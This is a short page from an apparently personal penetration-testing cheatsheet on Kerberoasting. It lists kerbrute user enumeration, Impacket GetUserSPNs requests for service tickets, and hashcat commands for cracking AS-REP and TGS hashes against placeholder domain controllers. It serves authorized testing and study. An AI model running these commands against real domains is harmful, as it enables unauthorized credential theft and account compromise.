Cheatsheet
  • Documentation
  • Nmap
  • Ffuf
  • FTP
  • SMB
  • RPC
  • NFS
  • DNS
  • SMTP
  • IMAP / POP3
  • SNMP
  • SQL
  • Rsync
  • Certipy
  • CrackMapExec
  • Transferring Files
  • Windows Remote Management
  • Windows AV
  • Wordpress
  • Infrastructure Enumeration
  • Privilege Escalation
  • Docker Breakout
  • Shells
  • SSTI
  • XSS
  • Pivot
    • SSH Tunneling
    • Chisel
    • Ligolo-ng
    • Meterpreter
  • LDAP
  • Spray
  • Antivirus / EDR
  • Impacket
  • Bloodhound
  • Powershell
  • Kerberosting
  • Password Attacks
  • Command Injections
  • Sliver C2
  • Windows credentials
  • Windows persistance
  • VSCode Debug
Powered by GitBook
On this page
  • Kerberos
  • GetUserSPNs
  • Hashcat Cracking

Kerberosting

Kerberos

klist
kinit qu35t
kerbrute userenum -d QU35T.pw --dc 10.10.10.10 users.txt
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

GetUserSPNs

GetUserSPNs.py -dc-ip 10.10.10.10 qu35t.pw/svc_user:password
GetUserSPNs.py -dc-ip 10.10.10.10 qu35t.pw/svc_user:password -request -outputfile tgs.hash
GetUserSPNs.py -usersfile users.txt -no-pass -dc-ip 10.10.10.10 qu35t.pw/

Hashcat Cracking

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
PreviousPowershellNextPassword Attacks

Last updated 2 years ago